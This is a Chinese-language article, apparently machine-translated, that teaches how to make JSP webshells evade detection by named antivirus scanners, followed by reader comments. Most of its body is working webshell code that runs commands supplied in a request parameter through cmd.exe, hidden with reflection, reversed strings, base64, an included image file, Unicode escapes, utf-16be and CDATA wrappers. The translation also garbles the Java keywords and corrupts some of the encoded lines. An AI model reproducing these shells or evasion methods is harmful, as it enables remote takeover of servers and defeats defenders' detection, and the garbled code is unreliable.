%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%
out.print(System.getProperty("os.name").toLowerCase());
String cmd=request.getParameter("cmd");
如果(cmd!=空){
进程p=Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
输入流输入=p.getInputStream();
InputStreamReader ins=new InputStreamReader(input, "GBK");
BufferedReader br=new BufferedReader(ins);
输出.print("");
串线;
while((line=br.readLine()) !=null) {
输出.println(行);
}
输出.print("");
br.close();
ins.close();
输入.close();
p.getOutputStream().close();
}
%这个文件有明显的exec危险代码。
image.png
反射
利用反射避免查杀webshell是常用技术之一。反射的编写过程可以参考Java反射机制学习
%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*" lang.reflect.Constructor" %%@页面导入="java.lang.reflect.Method" %%
out.print(System.getProperty("os.name").toLowerCase());
String cmd=request.getParameter("cmd");
如果(cmd!=空){
类clazz=Class.forName("java.lang.Runtime");
构造函数声明的构造函数=clazz.getDeclaredConstructor();
声明的Constructor.setAccessible(true);
对象o=declaredConstructor.newInstance();
方法show=clazz.getDeclaredMethod("exec", String[].class);
String[] cmds=new String[]{"cmd.exe","/c",cmd};
对象调用=show.invoke(o,(Object)cmds);
进程p=(进程)调用;
输入流输入=p.getInputStream();
InputStreamReader ins=new InputStreamReader(input, "GBK");
BufferedReader br=new BufferedReader(ins);
输出.print("");
串线;
while((line=br.readLine()) !=null) {
输出.println(行);
}
输出.print("");
br.close();
ins.close();
输入.close();
p.getOutputStream().close();
}
%还可以通过base64编码对密钥字符串java.lang.Runtime进行编码。
String a=new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="));
System.out.println(a);或者创建一个方法来反转字符串。
%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*" lang.reflect.Constructor" %%@ page import="java.lang.reflect.Method" %%!public static StringverseStr(String str){return new StringBuilder(str).reverse().toString();}% %
out.print(System.getProperty("os.name").toLowerCase());
String cmd=request.getParameter("cmd");
如果(cmd!=空){
类clazz=Class.forName(reverseStr("emitnuR.gnal.avaj"));
构造函数声明的构造函数=clazz.getDeclaredConstructor();
声明的Constructor.setAccessible(true);
对象o=declaredConstructor.newInstance();
方法show=clazz.getDeclaredMethod(reverseStr("cexe"), String[].class);
String[] cmds=new String[]{"cmd.exe","/c",cmd};
对象调用=show.invoke(o,(Object)cmds);
进程p=(进程)调用;
输入流输入=p.getInputStream();
InputStreamReader ins=new InputStreamReader(input, "GBK");
BufferedReader br=new BufferedReader(ins);
输出.print("");
串线;
while((line=br.readLine()) !=null) {
输出.println(行);
}
输出.print("");
br.close();
ins.close();
输入.close();
p.getOutputStream().close();
}
%image.png
include 指令
Java Web中有一个include指令,可以将外部文件嵌入到当前jsp语句中,同时解析页面的jsp语句。
%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*" lang.reflect.Constructor" %%@ page import="java.lang.reflect.Method" %%@ include file="1.jpg" %1.jpg 编写恶意代码。
%
out.print(System.getProperty("os.name").toLowerCase());
String cmd=request.getParameter("cmd");
如果(cmd!=空){
类clazz=Class.forName("java.lang.Runtime");
构造函数声明的构造函数=clazz.getDeclaredConstructor();
声明的Constructor.setAccessible(true);
对象o=declaredConstructor.newInstance();
方法show=clazz.getDeclaredMethod("exec", String[].class);
String[] cmds=new String[]{"cmd.exe","/c",cmd};
对象调用=show.invoke(o,(Object)cmds);
进程p=(进程)调用;
输入流输入=p.getInputStream();
InputStreamReader ins=new InputStreamReader(input, "GBK");
BufferedReader br=new BufferedReader(ins);
输出.print("");
串线;
while((line=br.readLine()) !=null) {
输出.println(行);
}
输出.print("");
br.close();
ins.close();
输入.close();
p.getOutputStream().close();
}
% access也可以正常执行命令。
image.png 因为安全狗和D-shield主要是检测并查杀Runtime.getRuntime().exec(),所以使用include时可以绕过D-shield,但安全狗无法绕过。当再次使用反射机制时,可以成功绕过。
image.png
编码
Java程序可以自动识别Unicode编码,因此我们可以对除页面指令代码之外的所有java源代码进行编码。
首先,在Internet上寻找一个将字符串转换为Unicode编码的类。
公共无效转换(字符串str){
str=(str==null ? "" : str);
字符串tmp;
StringBuffer sb=new StringBuffer(1000);
字符c;
整数i,j;
sb.setLength(0);
for (i=0; i str.length(); i++) {
c=str.charAt(i);
sb.append("\u");
j=(c 8); //获取高8位
tmp=Integer.toHexString(j);
if (tmp.length()==1)
sb.append("0");
sb.append(tmp);
j=(c0xFF); //取出低8位
tmp=Integer.toHexString(j);
if (tmp.length()==1)
sb.append("0");
sb.append(tmp);
}
System.out.print(new String(sb));
}创建另一个方法,通过读取文本文件来调用convert()方法,对上述命令执行的代码进行编码。
公共无效test2()抛出IOException {
文件srcfile=new File("a.txt");
FileReader fileReader=new FileReader(srcfile);
BufferedReader bufferedReader=new BufferedReader(fileReader);
字符串s;
while ((s=bufferedReader.readLine()) !=null) {
转换;
System.out.print("rn");
}
}运行后会得到Unicode编码的代码,然后声明原来的页面命令。
%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%
u006fu0075u0074u002eu0070u0072u0069u006eu0074u0028u0053u0079u0073u00 74u0065u006du002eu0067u0065u0074u 0050u0072u006fu0070 u0065u0072u0074u0 079u0028u0022u006fu0073u002eu006eu0061u006du0065u0022u0029u002eu0074u006fu004cu006fu0 077u0065u0072u0043u0061 u0073u0065u0028u0029u0029u003b
064 064 064第0074章u0074u0050u0061u0072u0061u006du0065u0 074u0065u0072u0028u0022u0063u006du0064u0022u0029u003b
u0069u0066u0028u0063u006du0064u0020u0021u003du0020u006eu0075u006cu006cu0029u007b
u0020u0020u0020u0020u0050u0072u006fu0063u0065u0073u0073u0020u0070u0020u003du0020u0020u0052u0075u006eu0 074u0069u006du0065u002e u0067u0065u0074u0052u0075u006eu0074u0069u0065u0028u0029u002eu0 065u0078u0065u0063u0028u006eu0065u 0077u0020u0053u0074 u0072u0069u006eu0067u005bu005du007bu0022u00 63u006du0064u002eu0065u0078u0065u0022u002cu0022u 002fu0063u 0022u002cu0063u006d u0064u007du0029u003b
74u0072u0065u0061u006du0020u0069u006eu0070u0075u 0074u0 020u003du0020 u0070u002eu0067u0065u0074u0049u006eu0070 u0075u0074u0053u0074u0072u0065u0061u006du0028u0029u003b
u0020u0020u0020u0020u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006du0052u0065u0061u0064u0065u0 072u0020u0069u006eu0073 u0020u003du0020u006eu0065u0077u0020u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006du0052u0065u0 061u0064u0065u0072u0028 u0069u006eu0070u0075u0074u002cu0020u0022u0047u0042u004bu0022u0029u003b
u0020u0020u0020u0020u0042u0075u0066u0066u0065u0072u0065u0064u0052u0065u0061u0064u0065u0072u0020u0062u0 072u0020u003du0020u006e u0065u0077u0020u0042u0075u0066u0066u0065u0072u0065u0064u0052u0065u0061u0064u0065u0072u0028u0069u006eu0 073u0029u003b
u0020u0020u0020u0020u006fu0075u0074u002eu0070u0072u0069u0 06eu0074u0028u0022u003cu0070u0072u0065u003eu 0022u0029u003b
u0020u0020u0020u0020u0053u0074u0072u0069u006eu0067u0020u006cu0069u006eu0065u003b
28u006cu0069u006eu0065u0020u003du0020u0062u0072u 002eu0 072u0065u0061 u0064u004cu0069u006eu0065u0028u0029u0029u0020u0021u003du0020u006eu0075u006cu006cu0029u0020u007b
u0020u0020u0020u0020u0020u0020u0020u0020u006fu0075u0074u002eu0070u0072u0069u006eu0074u006cu006eu0028u0 06cu0069u006eu0065u0029 u003b
u0020u0020u0020u0020u007d
u0020u0020u0020u0020u006fu0075u0074u002eu0070u0072u0069u006eu0074u0028u0022u003cu002fu0070u0072u0065u0 03eu0022u0029u003b
u0020u0020u0020u0020u0062u0072u002eu0063u006cu006fu0073u0065u0028u0029u003b
u0020u0020u0020u0020u0069u006eu0073u002eu0063u006cu006fu0073u0065u0028u0029u003b
u0020u0020u0020u0020u0069u006eu0070u0075u0074u002eu0063u006cu006fu0073u0065u0028u0029u003b
u0020u0020u0020u0020u0070u002eu0067u0065u0074u004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u0 06du0028u0029u002eu0063 u006cu006fu0073u0065u0028u0029u003b
?
%image.pngD 盾牌仍然可以被查杀,安全狗也可以成功绕过它。
那么Unicode 编码还能做什么呢? Unicode编码的关键点在于以"u"开头表示与unicode编码有关。
"u"可以重复声明,即"uuuuuuu"
%
out.println("uuuuuu006fuuuuuuuuuuuuuuuuuu0075uuu0074");
%对上面的代码稍作调整
sb.append("\uuuuu");再次生成webshell,成功绕过D盾。
image.pngjava还支持其他编码格式
导入夏代
导入编解码器
filename_in="webshell.txt"
filename_out="utf-16be_es.jsp"
使用codecs.open(filename=filename_in, mode="r",encoding="utf-8") 作为fi:
数据=fi.read()
使用open(filename_out, mode="w") 作为fo:
fo.write("%@ 页contentType="charset=utf-16be" %")
fo.write(data.encode("utf-16be"))
fo.close() 例如utf-16be编码方式
image.png
扩展
绕过某些WAF时,WAF可能会检测到jsp标签、客户端传入的参数以及威胁命令。
对应jsp标签%%,可以用它来代替。
无需导入和定义完整的类名。
out.print(System.getProperty("os.name").toLowerCase());
String cmd=request.getParameter("cmd");
如果(cmd!=空){
类clazz=Class.forName("java.lang.Runtime");
java.lang.reflect.Constructor declaredConstructor=clazz.getDeclaredConstructor();
声明的Constructor.setAccessible(true);
对象o=declaredConstructor.newInstance();
java.lang.reflect.Method show=clazz.getDeclaredMethod("exec", String[].class);
String[] cmds=new String[]{"cmd.exe","/c",cmd};
对象调用=show.invoke(o,(Object)cmds);
进程p=(进程)调用;
java.io.InputStream 输入=p.getInputStream();
java.io.InputStreamReader ins=new java.io.InputStreamReader(input, "GBK");
java.io.BufferedReader br=new java.io.BufferedReader(ins);
串线;
while((line=br.readLine()) !=null) {
输出.println(行);
}
br.close();
ins.close();
输入.close();
p.getOutputStream().close();
}对于参数,先存到session中,然后调用。
request.setAttribute("a",request.getParameter("cmd"));
String cmd=request.getAttribute("a").toString();如果威胁命令可以编码,这里选择ASCII编码进行测试。
对应的服务器代码应该是:
字符串解码=java.net.URLDecoder.decode(cmd.replaceAll("\\x", "%"), "utf-8");
String[] cmds=new String[]{"cmd.exe","/c",decode};此时输入whoami或者十六进制编码都可以%5c%78%37%37% 5c%78%36 %38%5c%78%36%66%5c%78%36%31%5c%78%36%64%5c%78%36%39
可以使用image.png或者base64编码加反转等。
%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*" util.Base64" %%@ page import="java.lang.reflect.Constructor" %%@ page import="java.lang.reflect.Method" %%!public static StringverseStr(String str){return new StringBuilder( str).reverse().toString();}%%
out.print(System.getProperty("os.name").toLowerCase());
String bs64=request.getParameter("cmd");
如果(bs64!=空){
String cmd=new String(Base64.getDecoder().decode(reverseStr(bs64)),"UTF-8");
类clazz=Class.forName("java.lang.Runtime");
构造函数声明的构造函数=clazz.getDeclaredConstructor();
声明的Constructor.setAccessible(true);
对象o=declaredConstructor.newInstance();
方法show=clazz.getDeclaredMethod("exec", String[].class);
String[] cmds=new String[]{"cmd.exe","/c",cmd};
对象调用=show.invoke(o,(Object)cmds);
进程p=(进程)调用;
输入流输入=p.getInputStream();
InputStreamReader ins=new InputStreamReader(input, "GBK");
BufferedReader br=new BufferedReader(ins);
输出.print("");
串线;
while((line=br.readLine()) !=null) {
输出.println(行);
}
输出.print("");
br.close();
ins.close();
输入.close();
p.getOutputStream().close();
}
%对应客户端传入的命令,是base64编码后的反转字符串。
image.png
CDATA特性
在XML 元素中, 和是非法的。当遇到时,解析器会将此字符解释为新元素的开头。当遇到时,解析器会将这个字符解释为字符实体编码的开始。
有时我们需要在jspx中添加js代码使用大量and字符,所以我们可以将脚本代码定义为CDATA。
解析器将忽略DATA 部分。
?xml 版本="1.0" 编码="UTF-8"?out.write("123!");
out.print(System.getProperty("os.name").toLowerCase());
String cmd=request.getParameter("cmd");
如果(cmd!=空){
类clazz=Class.forName("java.lang.Runtime");
java.lang.reflect.Constructor declaredConstructor=clazz.getDeclaredConstructor();
声明的Constructor.setAccessible(true);
对象o=declaredConstructor.newInstance();
java.lang.reflect.Method show=clazz.getDeclaredMethod("exec", String[].class);
String[] cmds=new String[]{"cmd.exe","/c",cmd};
对象调用=show.invoke(o,(Object)cmds);
进程p=(进程)调用;
java.io.InputStream 输入=p.getInputStream();
java.io.InputStreamReader ins=new java.io.InputStreamReader(input, "GBK");
java.io.BufferedReader br=new java.io.BufferedReader(ins);
串线;
while((line=br.readLine()) !=null) {
输出.println(行);
}
br.close();
ins.close();
输入.close();
【高级防御策略:Jsp Webshell 免杀技术解析】相关文章:
用户评论
哇这东西听名字就很厉害啊!
有9位网友表示赞同!
我最近在学习web安全,请问这种东西怎么用呢?
有12位网友表示赞同!
免杀的技术到底是如何实现的呢?
有12位网友表示赞同!
这样子能躲避反webshell检测吗?
有14位网友表示赞同!
有没有什么相关的教程或文档可以参考?
有19位网友表示赞同!
JSP框架真的挺流行的嘛,没想到会有这种功能。
有15位网友表示赞同!
免杀的技术是不是很高端的?
有12位网友表示赞同!
这东西听起来有点危险啊,要小心使用哦!
有6位网友表示赞同!
JSP本身就比较稳定,加上免杀特性,更让人感兴趣了!
有16位网友表示赞同!
不知道这种webshell在实战中有多实用 ?
有18位网友表示赞同!
这个研究方向挺热门的,想了解一下最新进展。
有9位网友表示赞同!
会不会有专门针对这种webshell的反检测方法?
有6位网友表示赞同!
想要了解更多关于shell注入和bypass防御的技术细节。
有12位网友表示赞同!
这种免杀技术对于非专业用户来说是不是太难操作了?
有7位网友表示赞同!
有没有相关的安全团队在研究这种类型的攻击?
有10位网友表示赞同!
JSP Webshell的应用范围很广吗?
有7位网友表示赞同!
学习这些技术的目的是为了成为更专业的web攻防护专家吗?
有18位网友表示赞同!
这类技术也可能被用于合法用途吧,比如测试网站安全漏洞?
有16位网友表示赞同!
感觉这种类型的攻击手法会随着技术的不断发展而变得更为复杂!
有7位网友表示赞同!
希望学习到的知识能够帮助我更好地保护自己的系统安全!
有10位网友表示赞同!